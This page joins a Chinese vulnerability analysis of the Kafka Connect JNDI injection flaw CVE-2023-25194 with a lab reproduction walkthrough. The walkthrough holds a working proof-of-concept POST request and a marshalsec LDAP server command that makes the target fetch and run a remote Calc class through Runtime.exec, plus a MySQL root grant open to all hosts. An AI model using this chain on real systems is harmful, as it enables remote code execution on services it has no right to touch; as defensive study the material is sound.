漏洞真实影响分析Apache Kafka Connect 模块JNDI注入(CVE-2023-25194)

Posted 墨菲安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞真实影响分析Apache Kafka Connect 模块JNDI注入(CVE-2023-25194)相关的知识,希望对你有一定的参考价值。

系列简介:
漏洞真实影响分析是墨菲安全实验室针对热点漏洞的分析系列文章,帮助企业开发者和安全从业者理清漏洞影响面、梳理真实影响场景,提升安全应急响应和漏洞治理工作效率。

漏洞概述

Apache Kafka Connect服务在2.3.0 至 3.3.2 版本中,由于连接时支持使用基于JNDI认证的SASL JAAS配置,导致配置在被攻击者可控的情况下,可能通过JNDI注入执行任意代码。

此漏洞不影响 Kafka server(broker),Kafka Connect服务通常用于在云平台中提供Kafka数据迁移、数据同步的管道能力,其默认HTTP API开放于8083端口。

因此建议对基于Kafka Connect提供的Kafka数据管道服务进行排查,判断是否存在配置可控的情况,对于受影响的服务应将 kafka-clients 升级至 3.4.0 及以上版本。

漏洞原理

Apache Kafka Connect 是Kafka中用于和其他数据系统传输数据的服务,其独立运行版本可以在Kafka发布包中通过bin/connect-standalone.sh启动,默认会在8083端口开启HTTP REST API服务,可对连接器(Connector)的配置进行操作。

连接器(Connector)是用于连接其他数据源的模块,从 2.3.0 版本开始,为了增加连接器的可重用性和可扩展性,用户可修改 kafka 客户端的 SASL JAAS(授权服务) 配置或 SASL-based 安全协议。3.0.0 版本之后,Kafka Connect 标准化了 Kafka 与其他数据系统的集成,用户可方便地对 Kafka Connect 集群中的连接器属性进行配置。

将连接器中的 Kafka 客户端sasl.jaas.config属性值设置为 com.sun.security.auth.module.JndiLoginModule(通过 producer.override.sasl.jaas.config, consumer.override.sasl.jaas.config或 admin.override.sasl.jaas.config属性进行配置)时,如果连接器连接到攻击者可控的 LDAP 服务器时容易受到反序列化攻击。

为修复此漏洞,从 3.4.0 版本开始,添加了 org.apache.kafka.disallowed.login.modules 系统属性用于禁用 SASL JAAS 配置中不安全的登录模块,并且默认禁用 com.sun.security.auth.module.JndiLoginModule。

Aiven云数据平台攻击场景案例

Aiven是位于芬兰的数据库即服务(DBaaS)公司,提供了包括Kafka、mysql、ClickHouse等在内的云数据服务。

其在 Kafka 中就提供了 Connect 服务,用于将数据通过不同的数据源导入导出 Kafka。

在创建 Connector 连接器时,可以自定义启动配置。

安全研究人员 jarij 发现可以通过database.history.producer.sasl.jaas.config设置客户端的sasl.jaas.config属性,从而开启JNDI登录验证模块,并结合user.provider.url属性通过LDAP服务实现注入,又通过Scala和CommonsCollections7作为gadget构造了利用链,最终实现代码执行。

漏洞在报告给Aiven公司后,已经在2022年5月修复。

风险场景

从危害上看,能够导致任意代码执行,属于高风险。

从业务场景上看,受漏洞影响的通常是基于Kafka Connect提供的:

• 数据管道服务(数据迁移、同步)

• Kafka相关的测试服务(用于对broker的测试)

因此主要是云平台类的服务,而大部分Kafka的使用场景不受影响。

从利用条件上,漏洞要成功用于执行任意代码,需要同时满足:

• 攻击者可以控制连接器(Connector)的配置

• Kafka服务能够访问攻击者控制的LDAP服务(通常需要能访问互联网)

• 基于远程LDAP引用注入需要java版本小于11.0.1、8u191、7u201、6u211,本地则需要其classpath中加载了可以用于构造利用链的类

在一般情况下利用成本是较高的。

因此在漏洞响应排查上,应重点关注基于Kafka的云平台服务、在功能上关注其配置自定义功能。

建议将kafka-clients 升级至 3.4.0 及以上版本,或通过限制自定义配置的参数临时规避该漏洞风险。

参考链接

• https://www.oscs1024.com/hd/MPS-2023-3834

• https://hackerone.com/reports/1529790

• https://kafka.apache.org/documentation.html#connect

• https://github.com/apache/kafka/commit/ae22ec1a0ea005664439c3f45111aa34390ecaa1

免费代码检测/情报预警

墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,能力包括代码安全检测、开源组件许可证合规管理、云原生容器安全检测、软件成分分析(SCA)等,丰富的安全工具助您打造完备的软件开发安全能力(DevSecOps)。

旗下安全研究团队墨菲安全实验室,专注于软件供应链安全相关领域的技术研究,关注的方向包括:开源软件安全、程序分析、威胁情报分析、企业安全治理等。公司核心团队来自百度、华为等企业,拥有超过十年的企业安全建设、安全产品研发及安全攻防经验。

免费代码安全检测工具: https://www.murphysec.com/?src=j

IDE插件说明文档:https://www.murphysec.com/docs/guides/scan-scene/ide-plugin.html

免费情报订阅: https://www.oscs1024.com/cm/?src=j

Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析

Apache Kafka是一个开源的分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。

关于

Apache Kafka是一个开源的分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。

影响版本

2.4.0<=Apache kafka<=3.2.2

环境搭建

满足影响版本的应该都可以,这里我是使用的版本为2.5.0

wget https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz

直接解压

这里可以使用命令直接起起来,最新版的kafka是集成Zookeeper

.\\bin\\windows\\zookeeper-server-start.bat .\\config\\zookeeper.properties

但是报错了,可以自己安装zookeeper

下载地址

http://zookeeper.apache.org/releases.html

这里配置文件其实可以补钙,实际上日志记录功能可选择不要,直接启动

服务端正常启动。

只要不报错即为正常启动

继续修改kafka配置文件server.properties文件,修改日志存放路径

命令启动

.\\bin\\windows\\kafka-server-start.bat .\\config\\server.properties

测试kafa搭建是否存在问题

  • 创建主题

.\\bin\\windows\\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic test111

  • 查询主题

.\\bin\\windows\\kafka-topics.bat --list --bootstrap-server localhost:9092

  • 创建生产者

.\\bin\\windows\\kafka-console-producer.bat --broker-list localhost:9092 --topic test111

  • 创建消费者

.\\bin\\windows\\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic test111 --from-beginning

消息收发没有问题,生产者输入信息之后消费者会自动消费。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

启动connect

.\\bin\\windows\\connect-standalone.bat .\\config\\connect-standalone.properties .\\config\\connect-file-source.properties .\\config\\connect-file-sink.properties

因为牵涉到补图片,图片内的时间顺序可能不对,请忽略

访问

http://192.168.2.135:8083/connector-plugins

这里是没有插件的,所以需要安装插件。这里要复现CVE-2023-25194,需要使用io.debezium.connector.mysql.MySqlConnector类,所以需要配置Debezium MySQL 连接器配置属性

安装Debezium

https://debezium.io/releases/2.1/

这里根据自己环境安装,比较友好的时不同的版本有介绍需要的java版本,因为我的java环境为1.8+的,所以这里我选择的版本比较老

在kafka的安装目录创建一个文件夹

存放debezium,修改kafka的配置文件

插件注意指向debezium的存放路径,重新启动,获取到插件,这里需要必坑的位置

1.java版本需要匹配kafka版本以及其他组件版本

2.配置文件需要修改,否则会报错。

kafka在连接Mysql时 数据需要同步到 Elasticsearch

具体的文章可以参考

https://my.oschina.net/u/4923278/blog/5007756

安装mysql

MySQL :: Download MySQL Installer

需要避坑的位置

结束

登录mysql数据库,设置允许外部连接

GRANT ALL ON *.* TO \'root\'@\'%\' IDENTIFIED BY \'root\' WITH GRANT OPTION;
GRANT ALL ON *.* TO \'\'@\'%\' IDENTIFIED BY \'root\' WITH GRANT OPTION;

  • set time_zone=\'+8:00\';

  • show variables like \'%time_zone%\';

mysql需要开启配置

log_bin           = mysql-bin
binlog_format     = ROW
binlog_row_image  = FULL
expire_logs_days  = 10

可参考

https://blog.csdn.net/wang972779876/article/details/120002546

访问路径

http://192.168.2.135:8083/connector-plugins

发现插件正常启动,参考的有复现的文章,说的时需要做时钟同步,但是在测试的时候发现其实时钟未做设置的时候也没有问题。

漏洞利用

POC如下:

POST /connectors HTTP/1.1
Host: 192.168.2.135:8083
Content-Type: application/json
Content-Length: 809
​

    "name": "mysql-connect",
    "config": 
        "connector.class": "io.debezium.connector.mysql.MySqlConnector",
        "database.hostname": "192.168.2.135",
        "database.port": "3306",
        "database.user": "root",
        "database.password": "root",
        "database.server.id": "316545017",
        "database.server.name": "test1",
        "database.history.kafka.bootstrap.servers": "192.168.2.135:9092",
        "database.history.kafka.topic": "quickstart-events",    "database.history.producer.security.protocol": "SASL_SSL",
        "database.history.producer.sasl.mechanism": "PLAIN",
        "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\\"ldap://192.168.2.149:1389/rce\\" useFirstPass=\\"true\\" serviceName=\\"x\\" debug=\\"true\\" group.provider.url=\\"xxx\\";"
    

具体的参数的配置属性可以参考这篇文章

https://blog.csdn.net/weixin_43564627/article/details/118959829

在利用的时候需要注意在使用name时,为连接器的名称,重复注册则会返回报错。

使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.135:8888/#Calc 1389

发送POC

可以看到请求了恶意类

恶意类内容calc.java

import java.lang.Runtime;
​
public class Calc 
    public Calc() throws Exception
        Runtime.getRuntime().exec("C:\\Windwos\\System32\\cmd.exe ipconfg>C:\\Users\\Administrator\\Desktop\\2.txt");
    

编译java

javac calc.java

在8888端口起http服务

python -m http.server 8888

执行payload

漏洞原理

Apache Kafka Connect 是 Kafka 中用于和其他数据系统传输数据的服务,其独立运行版本可以在 Kafka 发布包中通过 bin/connect-standalone.sh 启动,默认会在 8083 端口开启 HTTP REST API 服务,可对连接器(Connector)的配置进行操作。

将连接器中的 Kafka 客户端 sasl.jaas.config 属性值设置为 com.sun.security.auth.module.JndiLoginModule(通过 producer.override.sasl.jaas.configconsumer.override.sasl.jaas.config 或 admin.override.sasl.jaas.config 属性进行配置)时,如果连接器连接到攻击者可控的 LDAP 服务器时容易受到反序列化攻击。

更多靶场实验练习、网安学习资料,请点击这里>>

 

以上是关于漏洞真实影响分析Apache Kafka Connect 模块JNDI注入(CVE-2023-25194)的主要内容,如果未能解决你的问题,请参考以下文章

Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析

2021最新Apache漏洞分析

Log4j 爆“核弹级”漏洞,Flink、Kafka等至少十多个项目受影响

WEB安全Apache Log4j 漏洞利用分析

Apache Log4j 远程代码执行漏洞分析

Apache Kafka Connect JNDI注入漏洞复现(CVE-2023-25194)